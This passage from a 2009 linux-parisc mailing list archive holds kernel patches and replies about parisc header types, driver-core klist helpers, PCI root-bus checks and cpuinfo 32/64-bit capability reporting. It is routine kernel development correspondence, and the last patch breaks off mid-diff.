diff --git a/arch/parisc/include/asm/signal.h b/arch/parisc/include/asm/signal.h
index c203563..3de6265 100644
--- a/arch/parisc/include/asm/signal.h
+++ b/arch/parisc/include/asm/signal.h
@@ -105,7 +105,7 @@
 struct siginfo;
 
 /* Type of a signal handler.  */
-#ifdef CONFIG_64BIT
+#if __BITS_PER_LONG == 64
 /* function pointers on 64-bit parisc are pointers to little structs and the
  * compiler doesn't support code which changes or tests the address of
  * the function in the little struct.  This is really ugly -PB
diff --git a/arch/parisc/include/asm/swab.h b/arch/parisc/include/asm/swab.h
index 3ff16c5..e78403b 100644
--- a/arch/parisc/include/asm/swab.h
+++ b/arch/parisc/include/asm/swab.h
@@ -1,7 +1,7 @@
 #ifndef _PARISC_SWAB_H
 #define _PARISC_SWAB_H
 
-#include <asm/types.h>
+#include <linux/types.h>
 #include <linux/compiler.h>
 
 #define __SWAB_64_THRU_32__
diff --git a/arch/parisc/include/asm/types.h b/arch/parisc/include/asm/types.h
index 7f5a39b..14bb5bd 100644
--- a/arch/parisc/include/asm/types.h
+++ b/arch/parisc/include/asm/types.h
@@ -9,6 +9,14 @@ typedef unsigned short umode_t;
 
 #endif /* __ASSEMBLY__ */
 
+#ifndef __KERNEL__
+#ifdef __LP64__
+# define __BITS_PER_LONG 64
+#else
+# define __BITS_PER_LONG 32
+#endif /* __LP64__ */
+#endif /* __KERNEL__ */
+
 /*
  * These aren't exported outside the kernel to avoid name space clashes
  */
@@ -22,6 +30,8 @@ typedef unsigned short umode_t;
 #define SHIFT_PER_LONG 5
 #endif
 
+#define __BITS_PER_LONG	BITS_PER_LONG
+
 #ifndef __ASSEMBLY__
 
 /* Dma addresses are 32-bits wide.  */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:03:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: don't touch driver core internals
Date: Wed, 28 Jan 2009 11:25:19 -0600
Lines: 42
Approved: news@gmane.org
Message-ID: <1233163519.3236.82.camel@localhost.localdomain>
References: <20090127010733.GA21660@kroah.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1233163543 19098 80.91.229.12 (28 Jan 2009 17:25:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 28 Jan 2009 17:25:43 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	Kay Sievers <kay.sievers@vrfy.org>
To: Greg KH <greg@kroah.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 28 18:26:55 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LSEBh-0001Ah-6Q
	for glpp-linux-parisc@gmane.org; Wed, 28 Jan 2009 18:26:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751081AbZA1RZW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 Jan 2009 12:25:22 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751113AbZA1RZW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 28 Jan 2009 12:25:22 -0500
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:49627 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751081AbZA1RZV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 Jan 2009 12:25:21 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 828E8804C;
	Wed, 28 Jan 2009 11:25:19 -0600 (CST)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id TkVfZSO57dG3; Wed, 28 Jan 2009 11:25:18 -0600 (CST)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id E40F77F95;
	Wed, 28 Jan 2009 11:25:17 -0600 (CST)
In-Reply-To: <20090127010733.GA21660@kroah.com>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1237
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1237>

On Mon, 2009-01-26 at 17:07 -0800, Greg KH wrote:
> From: Greg Kroah-Hartman <gregkh@suse.de>
> 
> It isn't wise to use the struct device klists on their own, as their
> implementation has a tendancy to change at times.  Instead, use the
> functions created for iterating over lists of devices, as it handles all
> of the dirty klist work for you automatically.
> 
> This is needed as the driver core is changing how klists are stored in
> struct device in the near future.
> 
> Cc: Kyle McMartin <kyle@mcmartin.ca>
> Cc: Matthew Wilcox <matthew@wil.cx>
> Cc: Grant Grundler <grundler@parisc-linux.org>
> Cc: Kay Sievers <kay.sievers@vrfy.org>
> Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
> 
> ---
> 
> I can keep this in my driver-core tree, where is it required in order
> for parisc to build properly.  Or you all can take this now, in your
> tree, whatever is easier for you.
> 
>  drivers/char/agp/parisc-agp.c |   24 ++++++---------
>  drivers/parisc/gsc.c          |   40 +++++++++++++++-----------
>  drivers/parisc/sba_iommu.c    |   64 ++++++++++++++++++++++++------------------
>  3 files changed, 71 insertions(+), 57 deletions(-)

Actually, we already have such a patch here:

http://marc.info/?l=linux-parisc&m=123154903507114

The approaches look identical.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg KH <greg@kroah.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: don't touch driver core internals
Date: Wed, 28 Jan 2009 09:35:57 -0800
Lines: 49
Approved: news@gmane.org
Message-ID: <20090128173557.GA7583@kroah.com>
References: <20090127010733.GA21660@kroah.com> <1233163519.3236.82.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1233164321 22334 80.91.229.12 (28 Jan 2009 17:38:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 28 Jan 2009 17:38:41 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	Kay Sievers <kay.sievers@vrfy.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 28 18:39:54 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LSEOG-00065W-4h
	for glpp-linux-parisc@gmane.org; Wed, 28 Jan 2009 18:39:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751049AbZA1Ric (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 Jan 2009 12:38:32 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751453AbZA1Ric
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 28 Jan 2009 12:38:32 -0500
Original-Received: from kroah.org ([198.145.64.141]:38478 "EHLO coco.kroah.org"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1751049AbZA1Rib (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 Jan 2009 12:38:31 -0500
Original-Received: from localhost (c-76-105-230-205.hsd1.or.comcast.net [76.105.230.205])
	(using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	by coco.kroah.org (Postfix) with ESMTPSA id 00CE84900F;
	Wed, 28 Jan 2009 09:38:30 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <1233163519.3236.82.camel@localhost.localdomain>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1238
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1238>

On Wed, Jan 28, 2009 at 11:25:19AM -0600, James Bottomley wrote:
> On Mon, 2009-01-26 at 17:07 -0800, Greg KH wrote:
> > From: Greg Kroah-Hartman <gregkh@suse.de>
> > 
> > It isn't wise to use the struct device klists on their own, as their
> > implementation has a tendancy to change at times.  Instead, use the
> > functions created for iterating over lists of devices, as it handles all
> > of the dirty klist work for you automatically.
> > 
> > This is needed as the driver core is changing how klists are stored in
> > struct device in the near future.
> > 
> > Cc: Kyle McMartin <kyle@mcmartin.ca>
> > Cc: Matthew Wilcox <matthew@wil.cx>
> > Cc: Grant Grundler <grundler@parisc-linux.org>
> > Cc: Kay Sievers <kay.sievers@vrfy.org>
> > Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
> > 
> > ---
> > 
> > I can keep this in my driver-core tree, where is it required in order
> > for parisc to build properly.  Or you all can take this now, in your
> > tree, whatever is easier for you.
> > 
> >  drivers/char/agp/parisc-agp.c |   24 ++++++---------
> >  drivers/parisc/gsc.c          |   40 +++++++++++++++-----------
> >  drivers/parisc/sba_iommu.c    |   64 ++++++++++++++++++++++++------------------
> >  3 files changed, 71 insertions(+), 57 deletions(-)
> 
> Actually, we already have such a patch here:
> 
> http://marc.info/?l=linux-parisc&m=123154903507114
> 
> The approaches look identical.

Author: Greg Kroah-Hartman <gregkh@suse.de>  ???

I wrote that?  heh, I forgot all about that...

Yeah, that looks fine to me.

thanks,

greg k-h
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: don't touch driver core internals
Date: Wed, 28 Jan 2009 12:41:22 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <20090128174122.GB9492@bombadil.infradead.org>
References: <20090127010733.GA21660@kroah.com> <1233163519.3236.82.camel@localhost.localdomain> <20090128173557.GA7583@kroah.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1233164510 23112 80.91.229.12 (28 Jan 2009 17:41:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 28 Jan 2009 17:41:50 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	Kay Sievers <kay.sievers@vrfy.org>
To: Greg KH <greg@kroah.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 28 18:43:01 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LSER9-0007ju-PN
	for glpp-linux-parisc@gmane.org; Wed, 28 Jan 2009 18:42:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751052AbZA1Rlb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 Jan 2009 12:41:31 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751075AbZA1Rlb
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 28 Jan 2009 12:41:31 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:57878 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750954AbZA1Rla (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 Jan 2009 12:41:30 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LSEPi-0005Gz-Nb; Wed, 28 Jan 2009 17:41:22 +0000
Content-Disposition: inline
In-Reply-To: <20090128173557.GA7583@kroah.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1239
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1239>

On Wed, Jan 28, 2009 at 09:35:57AM -0800, Greg KH wrote:
> I wrote that?  heh, I forgot all about that...
> 
> Yeah, that looks fine to me.
> 

If you and Pat hadn't converted struct device to use klists we
wouldn't be in this mess... ;-)

Ack... My tree or yours, greg? I've already got James' patch I believe.

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg KH <greg@kroah.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: don't touch driver core internals
Date: Wed, 28 Jan 2009 09:58:23 -0800
Lines: 25
Approved: news@gmane.org
Message-ID: <20090128175823.GA13517@kroah.com>
References: <20090127010733.GA21660@kroah.com> <1233163519.3236.82.camel@localhost.localdomain> <20090128173557.GA7583@kroah.com> <20090128174122.GB9492@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1233165679 27727 80.91.229.12 (28 Jan 2009 18:01:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 28 Jan 2009 18:01:19 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	Kay Sievers <kay.sievers@vrfy.org>
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 28 19:02:29 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LSEjX-0006pE-9G
	for glpp-linux-parisc@gmane.org; Wed, 28 Jan 2009 19:01:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751281AbZA1SAa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 Jan 2009 13:00:30 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751354AbZA1SAa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 28 Jan 2009 13:00:30 -0500
Original-Received: from kroah.org ([198.145.64.141]:45838 "EHLO coco.kroah.org"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1751281AbZA1SA3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 Jan 2009 13:00:29 -0500
Original-Received: from localhost (c-76-105-230-205.hsd1.or.comcast.net [76.105.230.205])
	(using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	by coco.kroah.org (Postfix) with ESMTPSA id D99C44900F;
	Wed, 28 Jan 2009 10:00:28 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20090128174122.GB9492@bombadil.infradead.org>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1240
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1240>

On Wed, Jan 28, 2009 at 12:41:22PM -0500, Kyle McMartin wrote:
> On Wed, Jan 28, 2009 at 09:35:57AM -0800, Greg KH wrote:
> > I wrote that?  heh, I forgot all about that...
> > 
> > Yeah, that looks fine to me.
> > 
> 
> If you and Pat hadn't converted struct device to use klists we
> wouldn't be in this mess... ;-)

Well, you could have used the helper functions then...

> Ack... My tree or yours, greg? I've already got James' patch I believe.

If you want to take it, I have no objection.  Let me know which is
easier for you.

thanks,

greg k-h
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] PARISC: fix wrong assumption about bus->self
Date: Wed, 28 Jan 2009 22:30:55 -0700
Lines: 81
Approved: news@gmane.org
Message-ID: <20090129053055.GA11718@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1233207081 16175 80.91.229.12 (29 Jan 2009 05:31:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 29 Jan 2009 05:31:21 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 29 06:32:34 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LSPVv-0008RW-36
	for glpp-linux-parisc@gmane.org; Thu, 29 Jan 2009 06:32:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751176AbZA2FbK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 29 Jan 2009 00:31:10 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751288AbZA2FbK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 29 Jan 2009 00:31:10 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:37936 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751176AbZA2FbJ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 29 Jan 2009 00:31:09 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id DA9AC3F8173;
	Wed, 28 Jan 2009 22:31:05 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12059-02; Wed, 28 Jan 2009 22:30:55 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 683723F8172; Wed, 28 Jan 2009 22:30:55 -0700 (MST)
Content-Disposition: inline
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1241
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1241>


Kenji Kaneshige <kaneshige.kenji@jp.fujitsu.com> posted a patch series
to linux-pci to fix a wrong assumption about pci_bus->self==NULL for
all PCI host bus controllers. While PARISC platforms to not behave
this way, I prefer to have the code consistent across architectures.
The following patch replaces pci_bus->self with pci_bus->parent when
used as a test to check for "root bus controller".

Signed-off-by: Grant Grundler <grundler@parisc-linux.org>
---
Kyle, AFAIK, this isn't urgent for parisc and can wait for 2.6.30.
Not unless you or jejb feel strongly it should go in at around the
same time as the patches from Kenji-san go in.

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index d539d9d..f79266c 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -587,7 +587,7 @@ dino_fixup_bus(struct pci_bus *bus)
 			bus->resource[i+1] = &res[i];
 		}
 
-	} else if(bus->self) {
+	} else if (bus->parent) {
 		int i;
 
 		pci_read_bridge_bases(bus);
diff --git a/drivers/parisc/iosapic.c b/drivers/parisc/iosapic.c
index 0797659..1cdfdea 100644
--- a/drivers/parisc/iosapic.c
+++ b/drivers/parisc/iosapic.c
@@ -487,7 +487,7 @@ iosapic_xlate_pin(struct iosapic_info *isi, struct pci_dev *pcidev)
 	}
 
 	/* Check if pcidev behind a PPB */
-	if (NULL != pcidev->bus->self) {
+	if (pcidev->bus->parent) {
 		/* Convert pcidev INTR_PIN into something we
 		** can lookup in the IRT.
 		*/
@@ -523,10 +523,9 @@ iosapic_xlate_pin(struct iosapic_info *isi, struct pci_dev *pcidev)
 #endif /* PCI_BRIDGE_FUNCS */
 
 		/*
-		** Locate the host slot the PPB nearest the Host bus
-		** adapter.
-		*/
-		while (NULL != p->parent->self)
+		 * Locate the host slot of the PPB.
+		 */
+		while (p->parent->parent)
 			p = p->parent;
 
 		intr_slot = PCI_SLOT(p->self->devfn);
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index d8233de..59fbbf1 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -644,7 +644,7 @@ lba_fixup_bus(struct pci_bus *bus)
 	** Properly Setup MMIO resources for this bus.
 	** pci_alloc_primary_bus() mangles this.
 	*/
-	if (bus->self) {
+	if (bus->parent) {
 		int i;
 		/* PCI-PCI Bridge */
 		pci_read_bridge_bases(bus);
@@ -802,7 +802,7 @@ lba_fixup_bus(struct pci_bus *bus)
 ** Can't fixup here anyway....garr...
 */
 	if (fbb_enable) {
-		if (bus->self) {
+		if (bus->parent) {
 			u8 control;
 			/* enable on PPB */
 			(void) pci_read_config_byte(bus->self, PCI_BRIDGE_CONTROL, &control);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Colin Watson <cjwatson@canonical.com>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc: expose 32/64-bit capabilities in cpuinfo
Date: Fri, 30 Jan 2009 01:03:50 +0000
Lines: 84
Approved: news@gmane.org
Message-ID: <20090130010350.GH7367@riva.ucam.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1233278889 26912 80.91.229.12 (30 Jan 2009 01:28:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 30 Jan 2009 01:28:09 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 30 02:29:22 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LSiC8-0000cv-EJ
	for glpp-linux-parisc@gmane.org; Fri, 30 Jan 2009 02:29:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752335AbZA3B17 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 29 Jan 2009 20:27:59 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754347AbZA3B17
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 29 Jan 2009 20:27:59 -0500
Original-Received: from fizeau.zen.co.uk ([212.23.8.67]:36509 "EHLO fizeau.zen.co.uk"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752335AbZA3B16 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 29 Jan 2009 20:27:58 -0500
X-Greylist: delayed 1306 seconds by postgrey-1.27 at vger.kernel.org; Thu, 29 Jan 2009 20:27:58 EST
Original-Received: from [212.23.3.141] (helo=smarthost02.mail.zen.net.uk)
	by fizeau.zen.co.uk with esmtp (Exim 4.63)
	(envelope-from <cjwatson@chiark.greenend.org.uk>)
	id 1LShpi-0007qR-B2
	for linux-parisc@vger.kernel.org; Fri, 30 Jan 2009 01:06:10 +0000
Original-Received: from [82.69.40.219] (helo=riva.pelham.vpn.ucam.org)
	by smarthost02.mail.zen.net.uk with esmtp (Exim 4.63)
	(envelope-from <cjwatson@chiark.greenend.org.uk>)
	id 1LShnb-0001og-Ro
	for linux-parisc@vger.kernel.org; Fri, 30 Jan 2009 01:04:03 +0000
Original-Received: from cjwatson by riva.pelham.vpn.ucam.org with local (Exim 3.36 #1 (Debian))
	for linux-parisc@vger.kernel.org
	id 1LShnS-0007Yq-00; Fri, 30 Jan 2009 01:03:50 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
X-Originating-Smarthost02-IP: [82.69.40.219]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1242
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1242>

It'd be rather useful for debian-installer if we could get hold of
accurate firmware information on whether only 32-bit kernels are
supported, only 64-bit kernels, or both; this would allow us to present
an accurate menu of kernel packages if more than one is available,
rather than the user having to guess. This patch attempts to expose it
in cpuinfo.

I adjusted pdc_model_capabilities to cope with a potential
PDC_INVALID_ARG return as the firmware manual instructs, by assuming
32-bit only. This may be the wrong place for it.

I made up user-visible capability names by total fiat and for the moment
ignored the other bits that may appear in the capabilities word.

I have no PA-RISC machine myself to test on, and no PA experience
either, so I rather hope that somebody will kind-heartedly take this and
fix it up if needed. I ran it past Dann Frazier on IRC and he said
"looks good to me", but I think without testing.

Also, this is against the Ubuntu 2.6.28 kernel tree since that's what I
had handy and I was a bit tight on disk space to slurp down another
tree. Sorry if it's skewed in any relevant way; I'll be happy to adjust
if necessary.

Thanks in advance!

Signed-off-by: Colin Watson <cjwatson@canonical.com>

diff --git a/arch/parisc/include/asm/pdc.h b/arch/parisc/include/asm/pdc.h
index c584b00..01e8063 100644
--- a/arch/parisc/include/asm/pdc.h
+++ b/arch/parisc/include/asm/pdc.h
@@ -49,6 +49,8 @@
 #define PDC_MODEL_CPU_ID	6	/* returns cpu-id (only newer machines!) */
 #define PDC_MODEL_CAPABILITIES	7	/* returns OS32/OS64-flags	*/
 /* Values for PDC_MODEL_CAPABILITIES non-equivalent virtual aliasing support */
+#define  PDC_MODEL_OS64			(1 << 0)
+#define  PDC_MODEL_OS32			(1 << 1)
 #define  PDC_MODEL_IOPDIR_FDC		(1 << 2)
 #define  PDC_MODEL_NVA_MASK		(3 << 4)
 #define  PDC_MODEL_NVA_SUPPORTED	(0 << 4)
diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index 03f26bd..cf118ef 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -527,7 +527,11 @@ int pdc_model_capabilities(unsigned long *capabilities)
         pdc_result[0] = 0; /* preset zero (call may not be implemented!) */
         retval = mem_pdc_call(PDC_MODEL, PDC_MODEL_CAPABILITIES, __pa(pdc_result), 0);
         convert_to_wide(pdc_result);
-        *capabilities = pdc_result[0];
+        if (retval == PDC_OK) {
+                *capabilities = pdc_result[0];
